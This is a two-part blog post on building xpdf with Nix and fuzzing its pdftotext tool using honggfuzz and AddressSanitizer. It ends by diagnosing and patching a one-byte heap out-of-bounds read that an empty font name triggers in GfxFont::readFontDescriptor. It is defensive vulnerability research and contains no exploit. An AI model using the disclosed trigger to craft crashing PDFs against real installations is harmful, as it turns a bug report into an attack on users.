The other required field in mkDerivation is a src property, which specifies how Nix should retrieve the inputs for the build. In the case of xpdf, the source tarball is located at this URL:

https://web.archive.org/web/20250919084601/https://dl.xpdfreader.com/xpdf-4.05.tar.gz

I specify xpdf’s tarball URL using the pname and version variables so that when the version number changes in the future, the URL will still work:

{
 xpdf = pkgs.stdenv.mkDerivation rec {
 ...
 src = pkgs.fetchzip {
 url = "https://dl.xpdfreader.com/${pname}-${version}.tar.gz";
 extension = "tar.gz";
 };

The problem is that Nix needs a hash of the tarball to determine whether the local version matches what’s on the server. If I run nix build at this point, Nix complains that the hash is wrong:

warning: found empty hash, assuming 'sha256-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA='
error: hash mismatch in fixed-output derivation '/nix/store/z3ckfdjqpfd73xkkwsnpg4ijwj60vyz8-source.drv':
 specified: sha256-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
 got: sha256-LBxKSrXTdoulZDjPiyYMaJr63jFHHI+VCgVJx310i/w=

To fix the hash mismatch, I paste the value from the error message into my flake.nix:

{
 xpdf = pkgs.stdenv.mkDerivation rec {
 ...
 src = pkgs.fetchzip {
 url = "https://dl.xpdfreader.com/${pname}-${version}.tar.gz";
 # Paste the hash that appeared next to "got" in the error message.
 hash = "sha256-LBxKSrXTdoulZDjPiyYMaJr63jFHHI+VCgVJx310i/w=";
 extension = "tar.gz";
 };

Compiling xpdf from source

Now that I’ve shown Nix how to retrieve xpdf’s source code, I have to figure out how to build that code.

The xpdf compile instructions list the following dependencies:

Make sure you have the following installed:

CMake 2.8.8 or newer

FreeType 2.0.5 or newer

Qt 5.x or 6.x (for xpdf only)

libpng (for pdftopng and pdftohtml)

zlib (for pdftopng and pdftohtml)

I only want to run pdftotext, so I only need CMake and FreeType.

Building a complex tool from source is usually a painful process. I want to build tool A, but it depends on library X, so I have to figure out how to install library X. It turns out library X depends on libraries Y and Z, so I have to figure out how to install those, and so on.

Nix radically simplifies the process of building from source in two ways:

Nix has one of the largest package repositories of any package manager, so most packages I need are already available.
Nix packages are not tied to any OS version, so as long as there’s a Nix package for my architecture, I can use it.

Looking at the Nix package repository, I see that packages for CMake and FreeType are indeed already available:

I assume I only need CMake at build time, not at runtime, which means it belongs under nativeBuildInputs. I probably need FreeType at runtime, so I specify it under buildInputs:

{
 xpdf = pkgs.stdenv.mkDerivation rec {
 ...

 # Build dependencies belong here.
 nativeBuildInputs = with pkgs; [
 cmake
 ];

 # Runtime dependencies belong here.
 buildInputs = with pkgs; [
 freetype
 ];

At this point, my flake.nix looks like this:

{
 description = "compile xpdf from source for fuzzing";

 inputs = {
 nixpkgs.url = "github:NixOS/nixpkgs/nixos-24.05";
 flake-utils.url = "github:numtide/flake-utils";
 };

 outputs = { self, nixpkgs, flake-utils }:
 flake-utils.lib.eachDefaultSystem (system:
 let
 pkgs = nixpkgs.legacyPackages.${system};
 in
 {
 packages = rec {
 default = xpdf;

 xpdf = pkgs.stdenv.mkDerivation rec {
 pname = "xpdf";
 version = "4.05";

 src = pkgs.fetchzip {
 url = "https://dl.xpdfreader.com/${pname}-${version}.tar.gz";
 hash = "sha256-LBxKSrXTdoulZDjPiyYMaJr63jFHHI+VCgVJx310i/w=";
 extension = "tar.gz";
 };

 nativeBuildInputs = with pkgs; [
 cmake
 ];

 buildInputs = with pkgs; [
 freetype
 ];
 };
 };
 }
 );
}

When I build with Nix, it generates output under a folder called result, so I create a file called .gitignore that excludes that folder from source control:

echo 'result' > .gitignore

Next, I add everything to my git repository:

git add --all

Note: An annoying gotcha of Nix flakes is that Nix can’t see files unless they’re under git source control. If you get error messages about “file not found,” check that you’ve added the file to git.

Finally, I build the package from source with nix build:

nix build

If everything worked, there should be a set of binaries under ./result/bin that I can run:

$ ls ./result/bin/
pdfdetach pdffonts pdfimages pdfinfo pdftohtml pdftopng pdftoppm pdftops pdftotext

Sure enough, pdftotext works correctly:

$ ./result/bin/pdftotext -v
pdftotext version 4.05 [www.xpdfreader.com]
Copyright 1996-2024 Glyph & Cog, LLC

As a test I downloaded the Form W-4 PDF from the IRS website and fed it to pdftotext:

$ ./result/bin/pdftotext fw4.pdf /dev/stdout | head -n 5
Form W-4
Department of the Treasury Internal Revenue Service

Employee's Withholding Certificate
Complete Form W-4 so that your employer can withhold the correct federal income tax from your pay. Give Form W-4 to your employer.

Cool, that looks correct.

The full source at this stage is available on Gitlab.

That was confusingly easy

If you’re confused about how Nix built the xpdf binaries, so was I.

I hadn’t even told Nix what the build process was for xpdf, so how did it know?

It turns out that the Nix mkDerivation function I called assumes a standard make build process:

for Unix packages that use the standard ./configure; make; make install build interface, you don’t need to write a build script at all; the standard environment does everything automatically. If stdenv doesn’t do what you need automatically, you can easily customise or override the various build phases.

“The Standard Environment” from the Nix Manual

Still, it seemed a bit too magical to me.

The xpdf instructions explain how you have to tell the compiler where to find FreeType’s headers and libraries. I never did that, so how was Nix compiling the project anyway?

And make install normally writes to a system-wide directory like /usr/bin, so how did that happen if I never elevated to root privileges with sudo?

I suspected that, in addition to implicitly calling the make build sequence, Nix was quietly controlling the build process through environment variables.

To test my theory, I replaced the default installPhase section of mkDerivation with one that dumped all of the environment variables:

{
 xpdf = pkgs.stdenv.mkDerivation rec {
 ...
 installPhase = ''
 printenv
 make install
 '';

I then re-ran nix build with verbose logging:

nix build -L

Sure enough, I saw that it pointed to the FreeType headers via the CMAKE_INCLUDE_PATH variable:

CMAKE_INCLUDE_PATH=/nix/store/rmqyzrzpz2kzmn8329bc4fjmzvd33ylw-freetype-2.13.2-dev/include:...

And the reason it hadn’t scribbled over my /usr/bin directory was that Nix told CMake to install in a Nix-specific install directory:

cmakeFlags=...-DCMAKE_INSTALL_BINDIR=/nix/store/7w4ql3kdrl3c0knnvx3lxsnrqfzfcy34-xpdf-4.05/bin

This aspect of Nix’s behavior is a double-edged sword. When it works, it feels magical that Nix figured out the build process without me having to hold its hand. But if it hadn’t worked, I’d have to debug the issue through Nix’s opaque abstractions.

Compiling xpdf with honggfuzz

Now that I can compile xpdf successfully, it’s time to introduce the fuzz testing part of the workflow.

honggfuzz is a Google-maintained fuzz testing tool. It’s a coverage-guided fuzzer, which means that it traces which parts of the target binary execute for a particular test input. When it discovers an input that causes the binary to execute a new code path, it generates more inputs similar to the one that opened a new code path, as it means a greater chance of hitting untested behavior.

honggfuzz ships with C and C++ compilers, so compiling xpdf with honggfuzz should be as simple as pointing Nix at honggfuzz’s compilers instead of Nix’s default compilers. To do this, I first modify nativeBuildInputs to include the honggfuzz package, so that it’s available during compilation:

{
 xpdf = pkgs.stdenv.mkDerivation rec {
 ...
 nativeBuildInputs = with pkgs; [
 cmake
 honggfuzz
 ];
}

Okay, now honggfuzz will be available in my build environment, but how do I tell CMake to use the honggfuzz compiler instead of whatever it was using before?

Make and CMake obey the CC and CXX environment variables, which specify, respectively, which C and C++ compilers to use.

I can see that honggfuzz ships with compilers called hfuzz-clang and hfuzz-clang++. That sounds promising, but I don’t know where to find those binaries in honggfuzz’s Nix package. I search the package like this:

$ nix build nixpkgs#honggfuzz

$ find -L result -type f -name hfuzz-clang
result/bin/hfuzz-clang

Okay, that tells me that the compilers in honggfuzz’s Nix package are in the bin/ subdirectory.

To tell Nix to build xpdf using the honggfuzz compilers, I point the CC and CXX variables to the right compiler paths:

{
 xpdf = pkgs.stdenv.mkDerivation rec {
 ...

 preConfigure = ''
 export CC=${pkgs.honggfuzz}/bin/hfuzz-clang
 export CXX=${pkgs.honggfuzz}/bin/hfuzz-clang++
 '';
}

If I build with verbose output, I see that Nix is indeed using the hongfuzz compilers:

$ nix build -L
...
xpdf> -- The C compiler identification is Clang 16.0.6
xpdf> -- The CXX compiler identification is Clang 16.0.6
...
xpdf> -- Check for working C compiler: /nix/store/kb9vkjv4admbdixrjyanfb1i9dd3cbmm-honggfuzz-2.6/bin/hfuzz-clang - skipped
...
xpdf> -- Check for working CXX compiler: /nix/store/kb9vkjv4admbdixrjyanfb1i9dd3cbmm-honggfuzz-2.6/bin/hfuzz-clang++ - skipped

At this point, flake.nix should look like this.

Ad-hoc fuzzing in a dev shell

I’ve compiled xpdf using honggfuzz’s compiler, but now I want to get to the fun stuff.

I could set up an elegant command for kicking off fuzzing within my Nix flake, but at this point, I just want to get my hands dirty and start messing around as quickly as possible. To do that, I create a Nix dev shell with all of my tools available.

To create a Nix dev shell, I add the following to my Nix flake:

{
 packages = rec {
 ...
 };

 devShells.default = pkgs.mkShell {
 buildInputs = self.packages.${system}.xpdf.nativeBuildInputs ++ (with pkgs; [
 wget
 ]);

 shellHook = ''
 wget --version | head -n 1
 '';
 };

At this point, flake.nix should look like this.

I enter my Nix dev shell by typing nix develop:

$ nix develop
GNU Wget 1.21.4 built on linux-gnu.

The “GNU Wget” output is from shellHook, which prints the version numbers of the tools available within the shell. The honggfuzz binary is also available:

$ honggfuzz --help 2>&1 | head -n 1
Usage: honggfuzz [options] -- path_to_command [args]

That works because, within mkShell, I specified buildInputs as all the nativeBuildInputs from the xpdf package (cmake and honggfuzz) plus wget, which I want only in my dev shell for downloading PDFs.

Next, I create a directory to store the fuzz results. Since this is just experimental, I’m using a temporary directory:

PDF_DIR="$(mktemp --directory)"

Then, I grab a PDF to use as my sample input.

$ PDF_URL='https://www.irs.gov/pub/irs-pdf/fw4.pdf' && \
 wget --directory-prefix="${PDF_DIR}" "${PDF_URL}"

I do one more nix build to ensure that pdftotext is ready to run under the ./result/bin folder:

$ nix build && ./result/bin/pdftotext -v
pdftotext version 4.05 [www.xpdfreader.com]
Copyright 1996-2024 Glyph & Cog, LLC

Finally, it’s the moment of truth. I kick off honggfuzz’s test runner:

$ honggfuzz \
 --input "${PDF_DIR}" \
 -- ./result/bin/pdftotext ___FILE___

Here’s how it works:

--input "${PDF_DIR}" specifies the directory of input files to mutate.
-- ./result/bin/pdftotext ___FILE___: Specifies the target program to fuzz. ___FILE___ is a placeholder parameter. honggfuzz replaces it with the path to a newly generated file on each execution.

I run the command and am greeted to the honggfuzz fuzzing interface:

honggfuzz shows a terminal UI to display fuzz testing progress

It worked! I could let honggfuzz run for a few days to see if it catches anything, but I want to polish the workflow a bit more to increase the probability of finding bugs.

Next: Using Nix to find an unpatched bug in xpdf

At this point, I’ve shown how to use Nix and honggfuzz to perform basic fuzz testing of the xpdf PDF reader.

In my follow-up post, I’ll show how to:

Automate the complete fuzzing workflow.
Gather tricky PDFs that are more likely to cause crashes.
Find an unpatched bug in the latest version of xpdf.

Read on below:

Using Nix to Fuzz Test a PDF Parser (Part Two)

Thanks to Antonio Morales for creating the Fuzzing101 tutorial series upon which this work is based.

Using Nix to Fuzz Test a PDF Parser (Part Two)

Wed, 23 Oct 2024 00:00:00 +0000

This is the second half of a post about using Nix to automate a fuzz testing workflow.

At this point, I can run honggfuzz against pdftotext, but it takes a bit of manual effort to get things started. I promised in part one that I’d get all of the installation and fuzzing down to a single command.

Downloading tricky PDFs

In my ad-hoc fuzzing, I manually downloaded a PDF from the IRS website. I’ll start by automating that step.

While I’m automating, I can probably do better than a single PDF. For fuzzing, my goal is to have an expansive variety of PDFs that exercise different parts of the PDF file format.

Adobe used to have a corpus of interesting-looking test PDFs, but they’ve taken it offline.

The best collection of difficult-to-parse PDFs I found was in Mozilla’s pdf.js project. It contains 700 PDFs that have caused parsing bugs in their tool, so it’s likely that these same PDFs will trip up other PDF parsers.

I create a new build step in my Nix flake that downloads all the PDFs from Mozilla’s pdf.js project:

{
 packages = rec {
 ...
 sample-pdfs = pkgs.stdenv.mkDerivation rec {
 pname = "sample-pdfs";
 version = "4.7.76";

 src = pkgs.fetchzip {
 url = "https://github.com/mozilla/pdf.js/archive/refs/tags/v${version}.zip";
 hash = "sha256-2xt8j2xJ3Teg/uiwjbWnpR6zckdxsp3LVbfsbBc3Dco=";
 };

 buildCommand = ''
 mkdir -p $out
 cp $src/test/pdfs/*.pdf $out
 '';
 };

At this point, flake.nix should look like this.

I run the new sample-pdfs build step with the following command:

nix build .#sample-pdfs

From there, I verify that Nix successfully downloaded 700 PDFs:

$ ls ./result | head -n 5
160F-2019.pdf
alphatrans.pdf
annotation-border-styles.pdf
annotation-button-widget.pdf
annotation-caret-ink.pdf

$ ls ./result | wc --lines
700

The new build step gives me an initial corpus of edge case PDFs that will hopefully exercise less frequent code paths of any PDF parsing code.

Downloading even more tricky PDFs

In addition to the PDFs themselves, the pdf.js repo contains several hundred .link files that contain URLs of external PDFs.

I couldn’t figure out how to download the PDFs from the .link file URLs, as the mkDerivation step blocks Internet access. I could use the fetchUrl command, but I’d have to write hundreds of them.

Anton Mosich showed me an elegant way to download the PDFs from all the .link files. He told me that if you specify outputHash, outputHashMode, outputHashAlgo, then Nix relaxes rules and allows Internet access during the build.

I initially tried downloading each file with curl, but that was prohibitively slow, because it was downloading each file sequentially. I found a utility called aria2c that downloads URLs in parallel, which made the process significantly quicker:

{
 packages = rec {
 ...
 sample-pdfs = pkgs.stdenv.mkDerivation rec {
 pname = "sample-pdfs";
 version = "4.7.76";

 src = pkgs.fetchzip {
 url = "https://github.com/mozilla/pdf.js/archive/refs/tags/v${version}.zip";
 hash = "sha256-2xt8j2xJ3Teg/uiwjbWnpR6zckdxsp3LVbfsbBc3Dco=";
 };

 nativeBuildInputs = [
 pkgs.aria2
 ];

 SSL_CERT_FILE = "${pkgs.cacert}/etc/ssl/certs/ca-bundle.crt";

 buildPhase = ''
 # Extract the URLs and filenames from .link files into an input
 # file of URLs for aria2c.
 url_file=$(mktemp)
 for pdf in $src/test/pdfs/*.pdf.link; do
 url=$(sed 's/\r$//' "$pdf")
 filename=$(basename "$pdf" .link)
 echo "$url" >> "$url_file"
 echo " out=$filename" >> "$url_file"
 done

 aria2c \
 --input-file="$url_file" \
 --max-tries=5 \
 --retry-wait=20 \
 --auto-file-renaming=false \
 --max-concurrent-downloads=5 \
 --max-connection-per-server=1 \
 --dir=.

 cp $src/test/pdfs/*.pdf .
 '';

 installPhase = ''
 mkdir -p $out
 cp -r . $out
 '';

 # We need to specify the output hash so that Nix allows Internet
 # access during the build.
 outputHash = "sha256-lcPF6AQNVsXH2RIiyGZQpp5VjcaBhtolQxmbqSduCNs=";
 outputHashMode = "recursive";
 outputHashAlgo = "sha256";
 };

I run the updated sample-pdfs step with nix build:

nix build .#sample-pdfs

And if I check the ./result directory, I see that it now has 437 more files than it did when I was copying only the PDF files in the repo:

$ ls ./result | wc --lines
1137

Automating fuzz runs

In part 1 of this series, I showed how to run honggfuzz manually from a Nix dev shell. I can make that process even easier by defining a launch command for the fuzzer in my Nix flake.

To start, I add a new shell script for launching honggfuzz:

{
 packages = rec {
 xpdf = pkgs.stdenv.mkDerivation rec {
 ...
 }

 fuzz-xpdf = pkgs.writeShellScriptBin "fuzz-xpdf" ''
 readonly CORPUS_DIR='fuzz-corpus'
 mkdir -p "$CORPUS_DIR"

 # Copy the source corpus into a new directory for active fuzzing.
 cp --force ${sample-pdfs}/*.pdf "$CORPUS_DIR"

 ${pkgs.honggfuzz}/bin/honggfuzz \
 --input "$CORPUS_DIR" \
 --instrument \
 --timeout 10 \
 -- ${xpdf}/bin/pdftotext ___FILE___
 '';

I build the shell script with nix build:

nix build .#fuzz-xpdf

Nix then creates a bash script at ./result/bin/fuzz-xpdf:

$ cat ./result/bin/fuzz-xpdf
#!/nix/store/1xhds5s320nfp2022yjah1h7dpv8qqns-bash-5.2p32/bin/bash
readonly CORPUS_DIR='fuzz-corpus'
mkdir -p "$CORPUS_DIR"

# Copy the source corpus into a new directory for active fuzzing.
cp --force /nix/store/gncc6jy3cry5lwbkd2b54h1dg46wfkdc-sample-pdfs-4.7.76/*.pdf "${CORPUS_DIR}"

/nix/store/kb9vkjv4admbdixrjyanfb1i9dd3cbmm-honggfuzz-2.6/bin/honggfuzz \
 --input "$CORPUS_DIR" \
 --instrument \
 -- /nix/store/pixq8qiqyy6iwsc4wisb1vrmgy7l1kas-xpdf-4.05/bin/pdftotext ___FILE___

In the shell script, Nix replaced all the Nix variables with absolute paths. The bash variable (CORPUS_DIR) remains a symbol so that bash can interpret it at script runtime.

If I run the shell script, it starts a new fuzzing session:

./result/bin/fuzz-xpdf

That command should produce a screen like this:

I can now run honggfuzz from my launcher script

This works, but I’d have to remember to run the nix build command first every time I execute the shell script. Nix offers an even simpler solution with its apps feature.

I add an apps definition to my Nix flake after the packages section:

{
 packages = rec {
 ...
 };

 apps = {
 default = self.apps.${system}.fuzz-xpdf;
 fuzz-xpdf = {
 type = "app";
 program = "${self.packages.${system}.fuzz-xpdf}/bin/fuzz-xpdf";
 };
 };

With my fuzz-xpdf app in place, I kick off fuzzing with a single command:

nix run .#fuzz-xpdf

I declared fuzz-xpdf as the default app for this flake, so I can actually use an even simpler command:

nix run

At this point, flake.nix should look like this.

Now, the fuzzing workflow is complete.

I can put this Nix flake in a brand new directory, and when I run nix run, it will download all the tricky PDFs, compile xpdf, and start fuzzing. I can let honggfuzz run indefinitely and see what crashes it finds.

With the addition of a fuzz-xpdf app in my Nix flake, I have a complete fuzzing workflow. I could run the fuzzer indefinitely and let it find bugs.

Turning subtle memory errors into loud crashes with ASAN

By this point, my fuzzing workflow is functional, but I can run it more efficiently.

When fuzz testing, you only know when you’ve found an interesting bug when it causes the target application to crash. The problem is that there are lots of ways to make a program misbehave without crashing it.

One of the most famous examples of a security bug with no crashes is the 2014 Heartbleed bug in OpenSSL. It allowed attackers to extract sensitive information from web servers but didn’t cause them to crash. Tricking a program into reading or writing memory outside the intended boundaries doesn’t always crash it.

The good news is that there’s a tool that forces otherwise non-crashy memory errors to crash the program immediately. Address Sanitizer (ASAN) adds extra safety checks to a program’s memory reads and writes that crash with debug output if the program attempts to read or write beyond a variable’s memory location.

Adding ASAN to my fuzzing workflow allows me to find more memory bugs than I otherwise would. To compile xpdf with ASAN enabled, I add -fsanitize=address to xpdf’s compilation step:

{
 {
 packages = rec {
 xpdf = pkgs.stdenv.mkDerivation rec {

 ...

 preConfigure = ''
 export CC=${pkgs.honggfuzz}/bin/hfuzz-clang
 export CXX=${pkgs.honggfuzz}/bin/hfuzz-clang++

 # Use address sanitizer (ASAN).
 export CFLAGS="$CFLAGS -fsanitize=address"
 export CXXFLAGS="$CXXFLAGS -fsanitize=address"
 '';
 };

At this point, flake.nix should look like this.

Now, I’m finally ready to kick off my fuzzer and let it find some bugs for me. With my Nix flake, that’s as simple as running:

nix run

Finding my first crash

I let honggfuzz run for two hours and checked back to find that it discovered its first crash:

honggfuzz saved the PDF that caused the crash in a file named:

SIGABRT.PC.55555592fff5.STACK.1bb46b81df.CODE.-6.ADDR.0.INSTR.mov____%eax,%edx.fuzz

To reproduce the crash, I ran the following commands:

# Specify the path to the crashing PDF.
CRASHING_PDF='SIGABRT.PC.55555592fff5.STACK.1bb46b81df.CODE.-6.ADDR.0.INSTR.mov____%eax,%edx.fuzz'

# Rebuild pdftotext in the result folder
nix build

# Run pdftotext with the crashing PDF.
./result/bin/pdftotext "${CRASHING_PDF}" /dev/null

The program indeed crashes, with ASAN reporting that it caught a buffer overflow:

==1259902==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200002228f at pc 0x557c3230bd58 bp 0x7ffd7f070cf0 sp 0x7ffd7f070ce8
READ of size 1 at 0x60200002228f thread T0
 #0 0x557c3230bd57 (/nix/store/l774c0m9kh6z7iq1jn5m31kzy77kwffc-xpdf-4.05/bin/pdftotext+0x3e3d57)
 #1 0x557c3231f6ea (/nix/store/l774c0m9kh6z7iq1jn5m31kzy77kwffc-xpdf-4.05/bin/pdftotext+0x3f76ea)
 #2 0x557c32327a0d (/nix/store/l774c0m9kh6z7iq1jn5m31kzy77kwffc-xpdf-4.05/bin/pdftotext+0x3ffa0d)
 #3 0x557c3232733c (/nix/store/l774c0m9kh6z7iq1jn5m31kzy77kwffc-xpdf-4.05/bin/pdftotext+0x3ff33c)
 #4 0x557c322bfaa7 (/nix/store/l774c0m9kh6z7iq1jn5m31kzy77kwffc-xpdf-4.05/bin/pdftotext+0x397aa7)
...
SUMMARY: AddressSanitizer: heap-buffer-overflow (/nix/store/l774c0m9kh6z7iq1jn5m31kzy77kwffc-xpdf-4.05/bin/pdftotext+0x3e3d57)
Shadow bytes around the buggy address:
 0x602000022000: fa fa fd fd fa fa fd fa fa fa fd fd fa fa fd fa
 0x602000022080: fa fa fd fd fa fa fd fd fa fa 00 01 fa fa fd fd
 0x602000022100: fa fa 00 03 fa fa fd fa fa fa 00 00 fa fa fd fa
 0x602000022180: fa fa fd fa fa fa fd fd fa fa 00 02 fa fa fd fa
 0x602000022200: fa fa fd fa fa fa fd fa fa fa fd fa fa fa 00 00
=>0x602000022280: fa[fa]00 fa fa fa fd fa fa fa fd fa fa fa fd fa
 0x602000022300: fa fa fd fa fa fa fd fa fa fa 03 fa fa fa fd fa

ASAN’s error message is a bit arcane, but it’s telling me that ASAN caught pdftotext trying to read 1 byte outside of the buffer that pdftotext’s code had allocated.

So, how do I dig deeper into what’s causing this crash?

Improving debug symbols

When pdftotext crashed, I hoped to see a stack trace that included source filenames and line numbers. Instead, the output was just binary offsets, which makes debugging harder:

#0 0x557c3230bd57 (/nix/store/l774c0m9kh6z7iq1jn5m31kzy77kwffc-xpdf-4.05/bin/pdftotext+0x3e3d57)
#1 0x557c3231f6ea (/nix/store/l774c0m9kh6z7iq1jn5m31kzy77kwffc-xpdf-4.05/bin/pdftotext+0x3f76ea)
#2 0x557c32327a0d (/nix/store/l774c0m9kh6z7iq1jn5m31kzy77kwffc-xpdf-4.05/bin/pdftotext+0x3ffa0d)

Strangely, the hardest part of this whole process was figuring out how to get debug symbols to work properly so I could see source information in my crash dumps.

First, I happened to notice that nix run’s log output said something about stripping debug output from the binary. It turns out that Nix has a dontStrip option that defaults to false, meaning that it automatically strips debug information.

I also noticed that xpdf’s compile instructions mentioned a CMAKE_BUILD_TYPE option. It’s not documented, but searching the source revealed that it accepted a value of Debug.

To preserve debug symbols in my xpdf binaries, I added these options to the end of my xpdf package definition:

{
 {
 packages = rec {
 xpdf = pkgs.stdenv.mkDerivation rec {

 ...

 preConfigure = ''
 ...
 '';

 cmakeFlags = [
 "-DCMAKE_BUILD_TYPE=Debug"
 ];

 # Don't strip debug information from binaries, as the debug symbols
 # are usefule during crash analysis.
 dontStrip = true;
 };

At this point, something strange happened. I got rich stack traces with filenames and line numbers, but then they’d mysteriously stop working after a few hours. I still don’t know why.

To get the rich stack traces to work consistently, I had to use a tool called llvm-symbolizer, which I’d never heard of before. Fortunately, llvm-symbolizer ships as part of the popular llvm_18 Nix package, so I included that package in my Nix flake and added an environment variable called ASAN_SYMBOLIZER_PATH to point to that binary.

The changes to my Nix flake are hard to show because they touch several disparate parts of the file, so it’s easiest to look at the diff.

With the changes to my Nix flake, I need to enter the Nix dev shell to see rich stack traces, as that will set the proper ASAN_SYMBOLIZER_PATH environment value.

# Enter the nix dev shell.
nix develop

# Rebuild pdftotext in the result folder
nix build

# Specify the path to the crashing PDF.
CRASHING_PDF='SIGABRT.PC.55555592fff5.STACK.1bb46b81df.CODE.-6.ADDR.0.INSTR.mov____%eax,%edx.fuzz'

# Run pdftotext with the crashing PDF.
./result/bin/pdftotext "${CRASHING_PDF}" /dev/null

And then, I should finally see a stack trace with filenames:

=================================================================
==1461608==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200002228f at pc 0x55555592fff5 bp 0x7fffffffac70 sp 0x7fffffffac68
READ of size 1 at 0x60200002228f thread T0
 #0 0x55555592fff4 in GString::getChar(int) /build/source/goo/GString.h:82:32
 #1 0x55555592fff4 in GfxFont::readFontDescriptor(XRef*, Dict*) /build/source/xpdf/GfxFont.cc:553:20
 #2 0x5555559423da in GfxCIDFont::GfxCIDFont(XRef*, char const*, Ref, GString*, GfxFontType, Ref, Dict*) /build/source/xpdf/GfxFont.cc:1732:3
 #3 0x55555594a065 in GfxFont::makeFont(XRef*, char const*, Ref, Dict*) /build/source/xpdf/GfxFont.cc:190:16
...
 #22 0x7ffff7a7110d in __libc_start_call_main (/nix/store/r8qsxm85rlxzdac7988psm7gimg4dl3q-glibc-2.39-52/lib/libc.so.6+0x2a10d) (BuildId: 323d12eb412f4a20879fb07d3514ca673c5aee20)
 #23 0x7ffff7a711c8 in __libc_start_main@GLIBC_2.2.5 (/nix/store/r8qsxm85rlxzdac7988psm7gimg4dl3q-glibc-2.39-52/lib/libc.so.6+0x2a1c8) (BuildId: 323d12eb412f4a20879fb07d3514ca673c5aee20)
 #24 0x555555698a04 in _start (/nix/store/x59ccyx8gz0ap74zapdi7k8ssgypmipm-xpdf-4.05/bin/pdftotext+0x144a04)

It worked! Now, I get source filenames, line numbers, and function names.

But there’s still a problem. Look at the path to any of the files.

/build/source/xpdf/GfxFont.cc
^^^^^^^^^^^^^
 Where is this coming from?

The xpdf sources all point to a root folder called /build/source, but that path doesn’t exist on my system:

$ ls /build/source
ls: cannot access '/build/source': No such file or directory

~~I’m not sure if the /build/source path is a quirk of Nix or of xpdf’s build configuration.~~ (Edit: The prefix comes from Nix’s sandbox-build-dir option, which defines the root directory for building from source. Thanks to Dionysis Grigoropoulos for the clarification.)

The only way I’ve been able to fix the /build/source prefix is with a semi-ugly hack that replaces the incorrect path with the correct one at compile time using clang’s -fdebug-prefix-map flag:

{
 {
 packages = rec {
 xpdf = pkgs.stdenv.mkDerivation rec {

 ...

 preConfigure = ''
 ...

 # For some reason, without these flags, the debug symbols point to
 # source files at the base filesystem /build/source, so we
 # manually fix the source path.
 export CXXFLAGS="$CXXFLAGS -fdebug-prefix-map=/build/source=${xpdf.src}"
 '';

If I re-run my nix build sequence, finally, the stack traces are correct:

==1498830==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200002228f at pc 0x55555592fff5 bp 0x7fffffffac70 sp 0x7fffffffac68
READ of size 1 at 0x60200002228f thread T0
 #0 0x55555592fff4 in GString::getChar(int) /nix/store/alirmx60yanq6g8ym5v3laa7ncw2h9nm-source/goo/GString.h:82:32
 #1 0x55555592fff4 in GfxFont::readFontDescriptor(XRef*, Dict*) /nix/store/alirmx60yanq6g8ym5v3laa7ncw2h9nm-source/xpdf/GfxFont.cc:553:20
 #2 0x5555559423da in GfxCIDFont::GfxCIDFont(XRef*, char const*, Ref, GString*, GfxFontType, Ref, Dict*) /nix/store/alirmx60yanq6g8ym5v3laa7ncw2h9nm-source/xpdf/GfxFont.cc:1732:3
 #3 0x55555594a065 in GfxFont::makeFont(XRef*, char const*, Ref, Dict*) /nix/store/alirmx60yanq6g8ym5v3laa7ncw2h9nm-source/xpdf/GfxFont.cc:190:16
 #4 0x55555594a065 in GfxFontDict::load(char*, GfxFontDictEntry*) /nix/store/alirmx60yanq6g8ym5v3laa7ncw2h9nm-source/xpdf/GfxFont.cc:2393:12

If I plug that file path into sed, it prints the file’s contents:

$ sed -n '548,558p' /nix/store/alirmx60yanq6g8ym5v3laa7ncw2h9nm-source/xpdf/GfxFont.cc
 i -= 2;
 } else if (i > 7 && !strncmp(name->getCString() + i - 7, "Oblique", 7)) {
 flags |= fontItalic;
 i -= 7;
 }
 char c = name->getChar(i-1);
 if (!((c >= 'A' && c <= 'Z') ||
 (c >= 'a' && c <= 'z') ||
 (c >= '0' && c <= '9'))) {
 --i;
 }

At this point, flake.nix should look like this.

Understanding the crash

I now have an out-of-bounds memory read that crashes consistently. I’ve got all the debugging information I need to understand this bug, so it’s time to dive into the source.

The top of the stack trace points to this line:

// goo/GString.h

// Get <i>th character.
char getChar(int i) { return s[i]; }

Okay, so s is a char buffer, so it probably contains a C-style string. The getChar function doesn’t perform any bounds-checking to ensure that the caller is passing a legal value for i, and so the function is reading memory outside of the buffer that was allocated for s.

I’ll step back one level and check how getChar was called just before the crash. The next line of the stack trace points here:

// xpdf/GfxFont.cc

void GfxFont::readFontDescriptor(XRef *xref, Dict *fontDict) {
 ...

 // scan font name for bold/italic tags and update the flags
 if (name) {
 i = name->getLength();
 if (i > 2 && !strncmp(name->getCString() + i - 2, "MT", 2)) {
 i -= 2;
 }

 ...

 char c = name->getChar(i-1); // <<< CRASH

Okay, this is actually a fairly simple bug.

readFontDescriptor checks that name is not NULL, but it assumes that it has a length of at least 1. If name is an empty string (length 0), then the getChar call evaluates to name->getChar(-1). Then, getChar returns s[-1], which is 1 byte before the memory buffer that was allocated for s.

The crash’s debug output supports my hypothesis:

==241578==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200002360f at pc 0x55555592fff5 bp 0x7fffffffa650 sp 0x7fffffffa648
READ of size 1 at 0x60200002360f thread T0
 #0 0x55555592fff4 in GString::getChar(int) /nix/store/alirmx60yanq6g8ym5v3laa7ncw2h9nm-source/goo/GString.h:82:32
 #1 0x55555592fff4 in GfxFont::readFontDescriptor(XRef*, Dict*) /nix/store/alirmx60yanq6g8ym5v3laa7ncw2h9nm-source/xpdf/GfxFont.cc:553:20

...

SUMMARY: AddressSanitizer: heap-buffer-overflow /nix/store/alirmx60yanq6g8ym5v3laa7ncw2h9nm-source/goo/GString.h:82:32 in GString::getChar(int)
Shadow bytes around the buggy address:
...
=>0x602000023600: fa[fa]00 fa fa fa fd fd fa fa fd fa fa fa fd fa

ASAN said that it’s an illegal read of size 1, which makes sense because getChar tries to read a single 1-byte character.

ASAN also shows the memory layout where it read the memory address containing byte fa. That byte appears immediately before an address containing 00. The variable s contains an empty string, which C++ represents in memory as 00, so pdftotext was trying to read the byte just before the empty string. That read is illegal because it contains data that was not assigned to the s variable.

Fixing the bug

If my hypothesis is correct, this bug should be easy to fix. In readFontDescriptor, I can change this line:

 if (name) {

To this:

 if (name && (name->getLength() > 0)) {

That ensures that the function treats an empty string the same as a null pointer and doesn’t process it further.

